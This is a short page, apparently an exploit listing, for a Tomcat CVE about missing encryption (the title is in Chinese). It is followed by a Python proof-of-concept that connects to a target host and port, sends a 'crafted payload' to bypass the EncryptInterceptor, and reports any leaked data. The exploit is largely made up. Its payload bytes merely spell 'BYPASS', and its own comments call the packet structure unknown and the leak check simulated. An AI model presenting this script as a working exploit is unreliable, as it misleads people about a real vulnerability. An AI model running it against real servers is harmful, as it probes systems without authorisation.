CVE-2026-34486 Apache Tomcat 敏感数据加密缺失漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-34486 (Apache Tomcat EncryptInterceptor Bypass) This script demonstrates sending a crafted packet that bypasses the encryption check. Note: Actual packet structure depends on the specific Tomcat configuration. """ import socket import sys def send_exploit(target_host, target_port): print(f"[*] Connecting to {target_host}:{target_port}...") try: # Establish a TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Crafted payload designed to bypass EncryptInterceptor # This simulates sending unencrypted data that should have been encrypted # The specific bytes would depend on the Tomcat protocol being used (e.g., Tribes clustering) payload = b"\x00\x15\x42\x59\x50\x41\x53\x53\x00\x00\x00\x01\x00\x00\x00\x00" print("[*] Sending crafted payload to bypass EncryptInterceptor...") s.send(payload) # Receive response response = s.recv(4096) print("[+] Received response:") print(response) # Check if data looks like unencrypted sensitive info (simulated) if b"sensitive" in response.lower(): print("[!] Potential sensitive data leaked!") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python3 {sys.argv[0]} <host> <port>") sys.exit(1) HOST = sys.argv[1] PORT = int(sys.argv[2]) send_exploit(HOST, PORT)